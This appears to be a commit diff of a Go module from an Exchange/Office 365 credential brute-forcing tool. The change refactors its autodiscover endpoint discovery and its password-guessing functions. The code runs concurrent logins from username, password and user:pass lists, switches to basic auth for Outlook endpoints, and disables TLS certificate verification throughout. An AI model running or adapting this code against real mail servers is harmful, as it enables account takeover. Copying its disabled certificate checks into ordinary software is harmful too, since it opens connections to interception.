1
1
package autodiscover
2
2
3
3
import (
4
+ "crypto/tls"
4
5
"fmt"
5
6
"io/ioutil"
6
7
"net/http"
@@ -25,43 +26,58 @@ type Result struct {
25
26
26
27
var concurrency = 3 //limit the number of consecutive attempts
27
28
29
+ var delay = 5
30
+ var consc = 3
31
+ var usernames []string
32
+ var passwords []string
33
+ var userpass []string
34
+ var autodiscoverURL string
35
+ var basic = false
36
+ var verbose = false
37
+ var insecure = false
38
+ var stopSuccess = false
39
+
40
+
28
41
func autodiscoverDomain (domain string ) string {
29
42
var autodiscoverURL string
30
43
31
44
//check if this is just a domain or a redirect (starts with http[s]://)
32
45
if m , _ := regexp .Match ("http[s]?://" , []byte (domain )); m == true {
33
46
autodiscoverURL = domain
47
+ utils .Info .Printf ("Using end-point: %s\n " , domain )
34
48
} else {
35
49
//create the autodiscover url
36
50
if autodiscoverStep == 0 {
37
- autodiscoverURL = createAutodiscover (domain , true )
51
+ utils .Info .Println ("Trying to Autodiscover domain" )
52
+ autodiscoverURL = createAutodiscover (fmt .Sprintf ("autodiscover.%s" , domain ), true )
53
+ utils .Trace .Printf ("Autodiscover step %d - URL: %s\n " , autodiscoverStep , autodiscoverURL )
38
54
if autodiscoverURL == "" {
39
55
autodiscoverStep ++
40
56
}
41
57
}
42
58
if autodiscoverStep == 1 {
43
- autodiscoverURL = createAutodiscover (fmt .Sprintf ("autodiscover.%s" , domain ), true )
59
+ autodiscoverURL = createAutodiscover (fmt .Sprintf ("autodiscover.%s" , domain ), false )
60
+ utils .Trace .Printf ("Autodiscover step %d - URL: %s\n " , autodiscoverStep , autodiscoverURL )
44
61
if autodiscoverURL == "" {
45
62
autodiscoverStep ++
46
63
}
47
64
}
48
65
if autodiscoverStep == 2 {
49
- autodiscoverURL = createAutodiscover (fmt .Sprintf ("autodiscover.%s" , domain ), false )
66
+ autodiscoverURL = createAutodiscover (domain , true )
67
+ utils .Trace .Printf ("Autodiscover step %d - URL: %s\n " , autodiscoverStep , autodiscoverURL )
50
68
if autodiscoverURL == "" {
51
69
return ""
52
70
}
53
71
}
54
72
}
55
73
56
- utils .Trace .Printf ("Autodiscover step %d - URL: %s\n " , autodiscoverStep , autodiscoverURL )
57
-
58
74
req , err := http .NewRequest ("GET" , autodiscoverURL , nil )
59
75
req .Header .Add ("Content-Type" , "text/xml" )
60
76
61
- tr := & http.Transport {
62
- TLSClientConfig : & tls.Config {InsecureSkipVerify : true },
63
- }
64
- client := http.Client {Transport :tr }
77
+ tr := & http.Transport {
78
+ TLSClientConfig : & tls.Config {InsecureSkipVerify : true },
79
+ }
80
+ client := http.Client {Transport : tr }
65
81
66
82
resp , err := client .Do (req )
67
83
@@ -72,6 +88,8 @@ func autodiscoverDomain(domain string) string {
72
88
}
73
89
return ""
74
90
}
91
+
92
+ //check if we got prompted for authentication, this is normally an indicator of a valid endpoint
75
93
if resp .StatusCode == 401 || resp .StatusCode == 403 {
76
94
return autodiscoverURL
77
95
}
@@ -82,24 +100,49 @@ func autodiscoverDomain(domain string) string {
82
100
return ""
83
101
}
84
102
85
- //BruteForce function takes a domain/URL, file path to users and filepath to passwords whether to use BASIC auth and to trust insecure SSL
86
- //And whether to stop on success
87
- func BruteForce (domain , usersFile , passwordsFile string , basic , insecure , stopSuccess , verbose bool , consc , delay int ) {
88
- utils .Info .Println ("Trying to Autodiscover domain" )
89
- autodiscoverURL := autodiscoverDomain (domain )
103
+ //Init function to setup the brute-force session
104
+ func Init (domain , usersFile , passwordsFile , userpassFile string , b , i , s , v bool , c , d , t int ) error {
105
+ autodiscoverURL = autodiscoverDomain (domain )
90
106
91
107
if autodiscoverURL == "" {
92
- return
108
+ return fmt .Errorf ("No autodiscover end-point found" )
109
+ }
110
+
111
+ stopSuccess = s
112
+ insecure = i
113
+ basic = b
114
+ verbose = v
115
+ delay = d
116
+ consc = c
117
+ concurrency = t
118
+
119
+ if autodiscoverURL == "https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml" {
120
+ basic = true
121
+ }
122
+
123
+ if userpassFile != "" {
124
+ userpass = readFile (userpassFile )
125
+ if userpass == nil {
126
+ return fmt .Errorf ("Unable to read userpass file" )
127
+ }
128
+ return nil
93
129
}
94
- usernames : = readFile (usersFile )
130
+ usernames = readFile (usersFile )
95
131
if usernames == nil {
96
- return
132
+ return fmt . Errorf ( "Unable to read usernames file" )
97
133
}
98
- passwords : = readFile (passwordsFile )
134
+ passwords = readFile (passwordsFile )
99
135
if passwords == nil {
100
- return
136
+ return fmt . Errorf ( "Unable to read passwords file" )
101
137
}
102
138
139
+ return nil
140
+ }
141
+
142
+ //BruteForce function takes a domain/URL, file path to users and filepath to passwords whether to use BASIC auth and to trust insecure SSL
143
+ //And whether to stop on success
144
+ func BruteForce () {
145
+
103
146
attempts := 0
104
147
stp := false
105
148
@@ -113,7 +156,9 @@ func BruteForce(domain, usersFile, passwordsFile string, basic, insecure, stopSu
113
156
if u == "" || p == "" {
114
157
continue
115
158
}
116
- time .Sleep (time .Millisecond * 500 ) //lets not flood it
159
+
160
+ time .Sleep (time .Millisecond * 500 ) //lets not flood it
161
+
117
162
sem <- true
118
163
119
164
go func (u string , p string , i int ) {
@@ -133,7 +178,6 @@ func BruteForce(domain, usersFile, passwordsFile string, basic, insecure, stopSu
133
178
usernames = append (usernames [:out .Index ], usernames [out .Index + 1 :]... )
134
179
if stopSuccess == true {
135
180
stp = true
136
-
137
181
}
138
182
}
139
183
}(u , p , ui )
@@ -155,17 +199,7 @@ func BruteForce(domain, usersFile, passwordsFile string, basic, insecure, stopSu
155
199
}
156
200
157
201
//UserPassBruteForce function does a bruteforce using a supplied user:pass file
158
- func UserPassBruteForce (domain , userpassFile string , basic , insecure , stopSuccess , verbose bool , consc , delay int ) {
159
- utils .Info .Println ("Trying to Autodiscover domain" )
160
- autodiscoverURL := autodiscoverDomain (domain )
161
-
162
- if autodiscoverURL == "" {
163
- return
164
- }
165
- userpass := readFile (userpassFile )
166
- if userpass == nil {
167
- return
168
- }
202
+ func UserPassBruteForce () {
169
203
170
204
count := 0
171
205
sem := make (chan bool , concurrency )
@@ -178,7 +212,7 @@ func UserPassBruteForce(domain, userpassFile string, basic, insecure, stopSucces
178
212
// verify colon-delimited username:password format
179
213
s := strings .SplitN (up , ":" , 2 )
180
214
if len (s ) < 2 {
181
- utils .Fail .Printf ("Skipping improperly formatted entry in %s:% d\n " , userpassFile , count )
215
+ utils .Fail .Printf ("Skipping improperly formatted entry at line % d\n " , count )
182
216
continue
183
217
}
184
218
u , p := s [0 ], s [1 ]
@@ -188,7 +222,9 @@ func UserPassBruteForce(domain, userpassFile string, basic, insecure, stopSucces
188
222
if u == "" {
189
223
continue
190
224
}
191
- time .Sleep (time .Millisecond * 500 ) //lets not flood it
225
+
226
+ time .Sleep (time .Millisecond * 500 ) //lets not flood it
227
+
192
228
sem <- true
193
229
194
230
go func (u string , p string ) {
@@ -236,10 +272,11 @@ func connect(autodiscoverURL, user, password string, basic, insecure bool) Resul
236
272
result := Result {user , password , - 1 , - 1 , nil }
237
273
238
274
cookie , _ := cookiejar .New (nil )
239
- tr := & http.Transport {TLSClientConfig : & tls.Config {InsecureSkipVerify : true },
240
- DisableKeepAlives :true , //should fix mutex issues
241
- }
242
- client := http.Client {Transport :tr }
275
+
276
+ tr := & http.Transport {TLSClientConfig : & tls.Config {InsecureSkipVerify : true },
277
+ DisableKeepAlives : true , //should fix mutex issues
278
+ }
279
+ client := http.Client {Transport : tr }
243
280
244
281
if basic == false {
245
282
//check if this is a first request or a redirect
@@ -258,8 +295,8 @@ func connect(autodiscoverURL, user, password string, basic, insecure bool) Resul
258
295
req , err := http .NewRequest ("GET" , autodiscoverURL , nil )
259
296
req .Header .Add ("Content-Type" , "text/xml" )
260
297
261
- //if we have been redirected to outlook, change the auth header to basic auth
262
- if basic == false {
298
+ //if basic authi is required, set auth header
299
+ if basic == true {
263
300
req .SetBasicAuth (user , password )
264
301
}
265
302
@@ -270,15 +307,20 @@ func connect(autodiscoverURL, user, password string, basic, insecure bool) Resul
270
307
if m , _ := regexp .Match ("illegal base64" , []byte (err .Error ())); m == true {
271
308
client = http.Client {Transport : InsecureRedirectsO365 {User : user , Pass : password , Insecure : insecure }}
272
309
resp , err = client .Do (req )
310
+ if err != nil {
311
+ result .Error = err
312
+ return result
313
+ }
273
314
} else {
315
+
274
316
result .Error = err
275
317
return result
276
318
}
277
319
278
320
}
279
-
280
- defer resp .Body .Close ()
281
-
321
+ if resp != nil {
322
+ defer resp .Body .Close ()
323
+ }
282
324
result .Status = resp .StatusCode
283
325
return result
284
326
}
0 commit comments